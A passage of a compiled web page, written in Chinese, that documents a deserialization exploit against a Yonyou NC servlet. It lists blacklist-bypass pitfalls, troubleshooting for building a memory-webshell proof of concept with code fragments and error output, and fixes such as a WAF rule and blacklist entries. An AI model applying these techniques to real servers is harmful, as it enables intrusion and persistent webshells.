\u534f\u8bae\u8981\u6c42\u7684\u5934\uff0c\u7f3a\u5c11\u53ef\u80fd\u5bfc\u81f4\u670d\u52a1\u7aef\u5ffd\u7565\u8bf7\u6c42"]}),"\n",(0,l.jsxs)(n.li,{children:["Body \u662f\u539f\u59cb\u4e8c\u8fdb\u5236\uff0c\u5728 Burp \u4e2d\u901a\u8fc7 ",(0,l.jsx)(n.code,{children:"Paste from file"})," \u52a0\u8f7d payload.bin"]}),"\n",(0,l.jsxs)(n.li,{children:["HTTPS \u76ee\u6807\u53ea\u9700\u5c06 scheme \u6539\u4e3a ",(0,l.jsx)(n.code,{children:"https://"}),"\uff0cpayload \u5b57\u8282\u5185\u5bb9\u5b8c\u5168\u4e0d\u53d8"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6210\u529f\u54cd\u5e94\u7279\u5f81"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u8fd4\u56de ",(0,l.jsx)(n.code,{children:"NullPointerException"})," \u5806\u6808\uff08Filter \u6ce8\u5165\u6210\u529f\uff0c\u540e\u7eed\u5904\u7406\u629b\u7a7a\u6307\u9488\uff09"]}),"\n",(0,l.jsx)(n.li,{children:"\u6216\u8fd4\u56de HTTP 500\uff0c\u4f46\u5185\u5b58\u9a6c\u5df2\u7ecf\u6ce8\u5165"}),"\n",(0,l.jsxs)(n.li,{children:["\u4e0d\u5e94\u8be5\u51fa\u73b0 ",(0,l.jsx)(n.code,{children:"InvalidClassException"}),"\uff08SUID \u4e0d\u5bf9\uff09\u6216 ",(0,l.jsx)(n.code,{children:"ClassFormatError"}),"\uff08\u5b57\u8282\u7801\u7248\u672c\u4e0d\u5bf9\uff09"]}),"\n"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e09\u5173\u952e\u9677\u9631\u603b\u7ed3",children:"\u5341\u4e09\u3001\u5173\u952e\u9677\u9631\u603b\u7ed3"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u9677\u9631"}),(0,l.jsx)(n.th,{children:"\u89e6\u53d1\u6761\u4ef6"}),(0,l.jsx)(n.th,{children:"\u73b0\u8c61"}),(0,l.jsx)(n.th,{children:"\u89e3\u51b3\u65b9\u6848"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"VerifyError \u9759\u9ed8\u5931\u8d25"}),(0,l.jsx)(n.td,{children:"TxlCarrier \u542b DOM/DTMAxisIterator \u65b9\u6cd5\u5f15\u7528"}),(0,l.jsx)(n.td,{children:"\u65e0\u62a5\u9519\uff0cShell \u672a\u6267\u884c"}),(0,l.jsx)(n.td,{children:"\u7528\u5047 AbstractTranslet\uff0cTxlCarrier \u4e0d\u5b9e\u73b0\u4efb\u4f55\u65b9\u6cd5"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"UnsupportedClassVersionError \u9759\u9ed8\u5931\u8d25"}),(0,l.jsx)(n.td,{children:"\u5b57\u8282\u7801 major > 52"}),(0,l.jsx)(n.td,{children:"\u65e0\u62a5\u9519\uff0cShell \u672a\u6267\u884c"}),(0,l.jsxs)(n.td,{children:["\u7f16\u8bd1\u52a0 ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"InvalidClassException"}),(0,l.jsx)(n.td,{children:"SUID \u7248\u672c\u4e0d\u5339\u914d"}),(0,l.jsx)(n.td,{children:"\u670d\u52a1\u7aef\u629b\u5f02\u5e38\uff0c\u5916\u5c42\u94fe\u4e2d\u65ad"}),(0,l.jsx)(n.td,{children:"Patch \u5e8f\u5217\u5316\u6d41\u4e2d\u7684 SUID \u5b57\u8282"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Class.forName \u627e\u4e0d\u5230 Shell"}),(0,l.jsx)(n.td,{children:"TxlCarrier \u548c Shell \u4e0d\u5728\u540c\u4e00 ClassLoader"}),(0,l.jsx)(n.td,{children:"ClassNotFoundException \u88ab catch \u541e\u6389"}),(0,l.jsxs)(n.td,{children:["\u4e24\u4e2a class \u90fd\u653e\u5728 ",(0,l.jsx)(n.code,{children:"_bytecodes[]"}),"\uff0c\u7531\u540c\u4e00 TransletClassLoader \u52a0\u8f7d"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"TemplatesImpl._name \u4e3a null"}),(0,l.jsx)(n.td,{children:'\u6f0f\u6389 setField("_name", ...)'}),(0,l.jsx)(n.td,{children:"getTransletInstance() \u76f4\u63a5\u8fd4\u56de null"}),(0,l.jsx)(n.td,{children:"\u5fc5\u987b\u8bbe\u7f6e _name \u4e3a\u4efb\u610f\u975e\u7a7a\u5b57\u7b26\u4e32"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"NCObjectInputStream \u62e6\u622a"}),(0,l.jsx)(n.td,{children:"\u5916\u5c42\u94fe\u5305\u542b\u9ed1\u540d\u5355\u7c7b"}),(0,l.jsx)(n.td,{children:"\u629b InvalidClassException"}),(0,l.jsx)(n.td,{children:"\u5916\u5c42\u94fe\u53ea\u7528 JDK \u539f\u751f\u7c7b + SignedObject + Spring AOP \u975e\u9ed1\u540d\u5355\u7c7b"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"SignedObject \u53cc\u5c42\u7b7e\u540d\u95ee\u9898"}),(0,l.jsx)(n.td,{children:"\u5185\u5c42\u94fe\u672c\u8eab\u542b SignedObject"}),(0,l.jsx)(n.td,{children:"\u4e8c\u6b21\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316"}),(0,l.jsx)(n.td,{children:"\u5185\u5c42\u94fe\u76f4\u63a5\u7528 TemplatesImpl\uff0c\u4e0d\u518d\u5d4c\u5957 SignedObject"})]})]})]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u56db\u4fee\u590d\u5efa\u8bae",children:"\u5341\u56db\u3001\u4fee\u590d\u5efa\u8bae"}),"\n",(0,l.jsx)(n.h3,{id:"141-\u4e34\u65f6\u7f13\u89e3",children:"14.1 \u4e34\u65f6\u7f13\u89e3"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"\u7f51\u7edc\u5c42"}),"\uff1a\u5728\u9632\u706b\u5899/\u8d1f\u8f7d\u5747\u8861\u7981\u6b62\u5916\u7f51\u76f4\u63a5\u8bbf\u95ee ",(0,l.jsx)(n.code,{children:"/ServiceDispatcherServlet/*"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"WAF \u89c4\u5219"}),"\uff1a\u68c0\u6d4b HTTP POST Body \u524d 8 \u5b57\u8282\u4e3a ",(0,l.jsx)(n.code,{children:"[\u4efb\u610f4B][72 71 89 00]"})," \u7684\u8bf7\u6c42"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"142-\u6839\u672c\u4fee\u590d",children:"14.2 \u6839\u672c\u4fee\u590d"}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5b8c\u5584\u9ed1\u540d\u5355"}),"\uff1a\u5728 ",(0,l.jsx)(n.code,{children:"NCObjectInputStream.resolveClass()"})," \u4e2d\u52a0\u5165\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'|| name.equals("java.security.SignedObject")\n|| name.startsWith("org.springframework.aop.aspectj.")\n|| name.startsWith("sun.reflect.annotation.")\n'})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5207\u6362\u767d\u540d\u5355\u6a21\u5f0f"}),"\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u53ea\u5141\u8bb8\u5df2\u77e5\u5b89\u5168\u7684 NC \u4e1a\u52a1\u7c7b\uff0c\u62d2\u7edd\u5176\u4ed6\u4e00\u5207\u7c7b\uff08\u66f4\u5b89\u5168\uff09"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u8eab\u4efd\u9a8c\u8bc1"}),"\uff1a\u5728\u6267\u884c ",(0,l.jsx)(n.code,{children:"readObject()"})," \u524d\u589e\u52a0 Session/Token \u9a8c\u8bc1\uff0c\u672a\u8ba4\u8bc1\u8bf7\u6c42\u76f4\u63a5\u62d2\u7edd"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5347\u7ea7 xalan \u4f9d\u8d56"}),"\uff1a\u65b0\u7248 xalan \u7684 ",(0,l.jsx)(n.code,{children:"TemplatesImpl"})," \u5df2\u52a0\u5f3a\u5b89\u5168\u68c0\u67e5"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e94poc-\u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55",children:"\u5341\u4e94\u3001PoC \u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55"}),"\n",(0,l.jsx)(n.p,{children:"\u672c\u7ae0\u8bb0\u5f55 PoC \u5f00\u53d1\u8fc7\u7a0b\u4e2d\u9047\u5230\u7684\u6240\u6709\u5b9e\u9645\u95ee\u9898\u3001\u62a5\u9519\u73b0\u8c61\u3001\u6839\u56e0\u5206\u6790\u548c\u89e3\u51b3\u65b9\u6848\uff0c\u4f9b\u590d\u73b0\u65f6\u53c2\u8003\u3002"}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u4e00stringindexoutofboundsexception-at-extractclassname",children:["\u95ee\u9898\u4e00\uff1a",(0,l.jsx)(n.code,{children:"StringIndexOutOfBoundsException"})," at ",(0,l.jsx)(n.code,{children:"extractClassName"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.p,{children:"\u8fd0\u884c PoC \u65f6\u629b\u51fa\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'Exception in thread "main" java.lang.StringIndexOutOfBoundsException: String index out of range: -1\n at bip_ServiceDispatcherServlet_poc.extractClassName(...)\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"extractClassName()"})," \u89e3\u6790 class \u6587\u4ef6\u5e38\u91cf\u6c60\u65f6\uff0c",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u662f\u4e00\u4e2a\u5360\u4f4d\u7b26\u6216\u88ab\u622a\u65ad\u7684 Base64 \u5b57\u7b26\u4e32\uff0c\u89e3\u7801\u540e\u7684\u5b57\u8282\u6570\u7ec4\u4e0d\u662f\u5408\u6cd5\u7684 class \u6587\u4ef6\u3002\u89e3\u6790\u8fc7\u7a0b\u4e2d\u5e38\u91cf\u6c60\u504f\u79fb\u8ba1\u7b97\u8d8a\u754c\uff0c\u5bfc\u81f4\u8bfb\u53d6\u5230\u975e\u6cd5\u4f4d\u7f6e\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5177\u4f53\u6765\u8bf4\uff1a\u5e38\u91cf\u6c60 tag \u5b57\u8282\u8bfb\u5230\u975e\u6cd5\u503c\uff08\u5982 0\uff09\u65f6\uff0cswitch \u5206\u652f\u672a\u5904\u7406\uff0cpos \u6307\u9488\u505c\u5728\u9519\u8bef\u4f4d\u7f6e\uff0c\u540e\u7eed\u8bfb\u53d6 ",(0,l.jsx)(n.code,{children:"this_class"})," \u4e24\u5b57\u8282\u6307\u5411\u7684\u7d22\u5f15\u4e0d\u5b58\u5728\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5c06 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u66ff\u6362\u4e3a\u4ece\u51b0\u874e/\u54e5\u65af\u62c9\u751f\u6210\u7684\u771f\u5b9e\u5185\u5b58\u9a6c class \u7684\u5b8c\u6574 Base64\uff0c\u4e0d\u80fd\u662f\u622a\u65ad\u6216\u5360\u4f4d\u503c\u3002\u9a8c\u8bc1\u65b9\u6cd5\uff1a",(0,l.jsx)(n.code,{children:"Base64.getDecoder().decode(SHELL_B64).length > 100"}),"\uff0c\u4e14\u89e3\u7801\u540e\u524d 4 \u5b57\u8282\u4e3a ",(0,l.jsx)(n.code,{children:"CA FE BA BE"}),"\uff08Java class magic\uff09\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u4e8cbase64-incorrect-ending-byte-at-17108",children:["\u95ee\u9898\u4e8c\uff1a",(0,l.jsx)(n.code,{children:"Base64 incorrect ending byte at 17108"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'Exception in thread "main" java.lang.IllegalArgumentException:\n Input byte array has incorrect ending byte at 17108\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u5728\u6e90\u6587\u4ef6\u4e2d\u539f\u672c\u662f\u591a\u884c\u5b57\u7b26\u4e32\u62fc\u63a5\u5199\u6cd5\uff087 \u884c ",(0,l.jsx)(n.code,{children:"+"})," \u62fc\u63a5\uff09\u3002\u7528 PowerShell \u6b63\u5219\u66ff\u6362\u65f6\uff0c\u53ea\u66ff\u6362\u4e86\u7b2c\u4e00\u884c\uff0c\u5269\u4f59 6 \u884c\u7684\u65e7\u5185\u5bb9\u4ecd\u7136\u6b8b\u7559\uff0c\u88ab\u9519\u8bef\u5730\u62fc\u63a5\u5230\u65b0\u7684\u5b8c\u6574 Base64 \u672b\u5c3e\uff0c\u5f62\u6210\u975e\u6cd5 Base64 \u5b57\u7b26\u4e32\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u66ff\u6362\u540e\u7684\u9519\u8bef\u7ed3\u679c\uff08\u793a\u610f\uff09\nstatic final String SHELL_B64 =\n "yv66vg...\uff08\u65b0\u7684\u5b8c\u6574base64\uff09" // \u2190 \u65b0\u503c\n + "...\u65e7\u7684\u7b2c2\u6bb5..." // \u2190 \u6b8b\u7559\u65e7\u884c\n + "...\u65e7\u7684\u7b2c3\u6bb5..." // \u2190 \u6b8b\u7559\u65e7\u884c\n ...\n'})}),"\n",(0,l.jsx)(n.p,{children:"17108 \u5b57\u7b26\u5904\u6070\u597d\u662f\u65b0 Base64 \u7684\u672b\u5c3e\uff0c\u7d27\u63a5\u7740\u65e7\u5185\u5bb9\u7684\u975e\u6cd5\u5b57\u7b26\uff0c\u5bfc\u81f4\u89e3\u7801\u5931\u8d25\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7528 ",(0,l.jsx)(n.code,{children:"ReadAllLines()"})," \u8bfb\u53d6\u6587\u4ef6\u4e3a\u884c\u6570\u7ec4\uff0c\u627e\u5230 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u5b9a\u4e49\u7684\u8d77\u59cb\u884c\u7d22\u5f15\u548c\u7ed3\u675f\u884c\u7d22\u5f15\uff08\u5171 7 \u884c\uff09\uff0c\u5c06\u6574\u4e2a\u533a\u95f4",(0,l.jsx)(n.strong,{children:"\u4e00\u6b21\u6027"}),"\u66ff\u6362\u4e3a\u5355\u884c\u5b9a\u4e49\uff0c\u800c\u4e0d\u662f\u53ea\u66ff\u6362\u7b2c\u4e00\u884c\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n# \u627e\u5230 SHELL_B64 = \u5f00\u59cb\u7684\u884c\uff08startIdx\uff09\u5230\u5206\u53f7\u7ed3\u675f\u884c\uff08endIdx\uff09\n# \u5c06 startIdx..endIdx \u8fd9\u4e9b\u884c\u66ff\u6362\u4e3a\u5355\u884c\n$newLines = $lines[0..($startIdx-1)] +\n " static final String SHELL_B64 = `"$b64`";" +\n $lines[($endIdx+1)..($lines.Length-1)]\n[IO.File]::WriteAllLines($path, $newLines, [Text.Encoding]::UTF8)\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u4e09javac-\u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519",children:"\u95ee\u9898\u4e09\uff1ajavac \u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"bip_ServiceDispatcherServlet_poc.java:282: error: illegal character: '\\xxxxx'\nbip_ServiceDispatcherServlet_poc.java:284: error: illegal character: '\\xxxxx'\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u9519\u8bef\u884c\u6070\u597d\u662f\u4e2d\u6587\u6ce8\u91ca\u6240\u5728\u884c\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7528 ",(0,l.jsx)(n.code,{children:"[IO.File]::ReadAllText()"})," \u8bfb\u53d6\u6587\u4ef6\u518d\u7528\u6b63\u5219\u66ff\u6362\uff0cPowerShell \u9ed8\u8ba4\u628a\u591a\u5b57\u8282 UTF-8 \u5b57\u7b26\uff08\u4e2d\u6587\uff09\u7684\u67d0\u4e9b\u5b57\u8282\u62c6\u5f00\u5904\u7406\uff0c\u5199\u56de\u65f6\u5bfc\u81f4\u4e2d\u6587\u5b57\u8282\u5e8f\u5217\u635f\u574f\uff0c\u53d8\u6210\u975e\u6cd5 Unicode\u3002javac \u5c1d\u8bd5\u4ee5 UTF-8 \u89e3\u6790\u65f6\u9047\u5230\u975e\u6cd5\u5b57\u8282\u5e8f\u5217\u62a5 ",(0,l.jsx)(n.code,{children:"illegal character"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6539\u7528 ",(0,l.jsx)(n.code,{children:"ReadAllLines()"})," \u5c06\u6587\u4ef6\u8bfb\u4e3a\u884c\u6570\u7ec4\uff0c\u6309",(0,l.jsx)(n.strong,{children:"\u884c\u7d22\u5f15"}),"\u76f4\u63a5\u66ff\u6362\u7279\u5b9a\u884c\uff0c\u5b8c\u5168\u907f\u5f00 regex \u5bf9\u591a\u5b57\u8282\u5b57\u7b26\u7684\u5904\u7406\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n$lines[282] = " // \u6b63\u786e\u7684\u6ce8\u91ca\u5185\u5bb9"\n$lines[284] = " // \u6b63\u786e\u7684\u6ce8\u91ca\u5185\u5bb9"\n[IO.File]::WriteAllLines($path, $lines, (New-Object System.Text.UTF8Encoding $false))\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u5199\u56de\u65f6\u663e\u5f0f\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"UTF8Encoding($false)"}),"\uff08\u65e0 BOM\uff09\uff0c\u907f\u514d BOM \u5bfc\u81f4 javac \u89e3\u6790\u5f02\u5e38\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u56db--release-\u53c2\u6570\u4e0d\u88ab\u652f\u6301",children:["\u95ee\u9898\u56db\uff1a",(0,l.jsx)(n.code,{children:"--release"})," \u53c2\u6570\u4e0d\u88ab\u652f\u6301"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"error: option --release not supported\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"--release N"})," \u662f Java 9 \u5f15\u5165\u7684 javac \u53c2\u6570\uff0c\u7528\u4e8e\u540c\u65f6\u6307\u5b9a source/target/bootstrap classpath\u3002\u672c\u673a\u5b89\u88c5\u7684\u662f Java 8 JDK\uff08",(0,l.jsx)(n.code,{children:"javac -version"})," = ",(0,l.jsx)(n.code,{children:"javac 1.8.x"}),"\uff09\uff0c\u4e0d\u652f\u6301\u8be5\u53c2\u6570\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["PoC \u5728 ",(0,l.jsx)(n.code,{children:"javax.tools.JavaCompiler"})," \u8c03\u7528\u4e2d\u4f7f\u7528\u4e86\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'List opts = Arrays.asList("--release", "8", "-d", tmp.toString());\n'})}),"\n",(0,l.jsxs)(n.p,{children:["Java 8 JDK \u4e0d\u8ba4\u8bc6 ",(0,l.jsx)(n.code,{children:"--release"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsx)(n.p,{children:"\u6539\u7528 Java 8 \u53ca\u4ee5\u4e0a\u5747\u652f\u6301\u7684\u65e7\u5f0f\u53c2\u6570\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'List opts = Arrays.asList("-source", "8", "-target", "8", "-d", tmp.toString());\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u4e24\u8005\u7b49\u4ef7\u6548\u679c\uff1a\u5f3a\u5236\u751f\u6210 major_version=52 \u7684\u5b57\u8282\u7801\u3002\u4f46 ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"})," \u5728 Java 8 JDK \u4e0a\u6709\u4e00\u4e2a\u8b66\u544a\uff08bootstrap classpath \u672a\u6307\u5b9a\uff09\uff0c\u53ef\u4ee5\u5ffd\u7565\uff0c\u4e0d\u5f71\u54cd\u751f\u6210\u7684\u5b57\u8282\u7801\u7248\u672c\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u4e94verifyerror-\u9759\u9ed8\u5931\u8d25shell-\u672a\u6267\u884c\u65e0\u62a5\u9519",children:"\u95ee\u9898\u4e94\uff1aVerifyError \u9759\u9ed8\u5931\u8d25\uff08Shell \u672a\u6267\u884c\uff0c\u65e0\u62a5\u9519\uff09"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:["Payload \u53d1\u9001\u540e\u670d\u52a1\u7aef\u8fd4\u56de\u6b63\u5e38\uff08\u6216 NPE\uff09\uff0c\u4f46\u51b0\u874e\u8fde\u63a5\u540e\u65e0\u54cd\u5e94\uff0cShell \u4ece\u672a\u6267\u884c\u3002\u5728\u672c\u5730\u6d4b\u8bd5\u65f6\u52a0\u65e5\u5fd7\u53d1\u73b0 ",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u8fd4\u56de ",(0,l.jsx)(n.code,{children:"null"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65e9\u671f\u7248\u672c\u7684 TxlCarrier \u7ee7\u627f\u4e86",(0,l.jsx)(n.strong,{children:"\u670d\u52a1\u5668 xalan \u5305\u4e2d\u7684\u771f\u5b9e AbstractTranslet"}),"\uff0c\u5e76\u5b9e\u73b0\u4e86\u5176\u62bd\u8c61\u65b9\u6cd5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u65e9\u671f\u9519\u8bef\u7248\u672c\npublic class TxlCarrier extends AbstractTranslet {\n public void transform(DOM dom, SerializationHandler handler) {} // \u2190 \u5371\u9669\u5f15\u7528\n public void transform(DOM dom, DTMAxisIterator it, SerializationHandler handler) {}\n static { Class.forName("org.apache.logging.ly.KeyUtils"); }\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u65b9\u6cd5\u7b7e\u540d\u4e2d\u5f15\u7528\u4e86 ",(0,l.jsx)(n.code,{children:"DOM"}),"\u3001",(0,l.jsx)(n.code,{children:"DTMAxisIterator"}),"\u3001",(0,l.jsx)(n.code,{children:"SerializationHandler"}),"\u3002\u5728 ",(0,l.jsx)(n.code,{children:"defineClass()"})," \u9636\u6bb5\uff0cJVM \u5b57\u8282\u7801\u9a8c\u8bc1\u5668\u52a0\u8f7d\u8fd9\u4e9b\u63a5\u53e3\u65f6\u53d1\u73b0\u7248\u672c/\u7b7e\u540d\u4e0d\u5339\u914d\uff0c\u629b\u51fa\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.lang.VerifyError: class TxlCarrier ... overrides final method\n// \u6216\njava.lang.VerifyError: Bad type on operand stack\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"VerifyError"})," \u662f ",(0,l.jsx)(n.code,{children:"LinkageError"})," \u7684\u5b50\u7c7b\uff0c\u88ab ",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u7684 ",(0,l.jsx)(n.code,{children:"catch (LinkageError e)"})," \u5757\u541e\u6389\uff0c\u6574\u6761\u94fe\u9759\u9ed8\u5931\u8d25\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6539\u7528\u4e0d\u542b\u4efb\u4f55\u62bd\u8c61\u65b9\u6cd5\u7684",(0,l.jsx)(n.strong,{children:"\u5047 AbstractTranslet"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u5047 AbstractTranslet\uff1a\u653e\u5728\u6b63\u786e\u5305\u8def\u5f84\uff0c\u65e0\u62bd\u8c61\u65b9\u6cd5\uff0c\u65e0\u63a5\u53e3\u5f15\u7528\npackage org.apache.xalan.xsltc.runtime;\npublic class AbstractTranslet {}\n"})}),"\n",(0,l.jsx)(n.p,{children:"TxlCarrier \u4e0d\u9700\u8981\u5b9e\u73b0\u4efb\u4f55\u65b9\u6cd5\uff0c\u5b57\u8282\u7801\u4e2d\u96f6 Xalan \u63a5\u53e3\u5f15\u7528\uff0c\u5b57\u8282\u7801\u9a8c\u8bc1\u901a\u8fc7\u3002"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u8bca\u65ad\u6280\u5de7"}),"\uff1aVerifyError \u662f ",(0,l.jsx)(n.code,{children:"LinkageError"})," \u5b50\u7c7b\uff0c",(0,l.jsx)(n.code,{children:"UnsupportedClassVersionError"})," \u662f ",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u5b50\u7c7b\uff0c\u4e24\u8005\u90fd\u88ab TemplatesImpl \u9759\u9ed8\u541e\u6389\u3002\u672c\u5730\u590d\u73b0\u65f6\uff0c\u53ef\u5728 TemplatesImpl \u5916\u624b\u52a8 catch \u5e76\u6253\u5370\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"try {\n templatesImpl.getOutputProperties();\n} catch (Throwable t) {\n t.printStackTrace(); // \u6b63\u5e38\u60c5\u51b5\u8fd9\u91cc\u4e0d\u4f1a\u6709\u8f93\u51fa\uff0c\u56e0\u4e3a\u5df2\u88ab\u5185\u90e8\u541e\u6389\n}\n// \u771f\u6b63\u7684\u9519\u8bef\u9700\u8981\u5728 JVM \u5c42\u9762\u52a0 -verbose:class 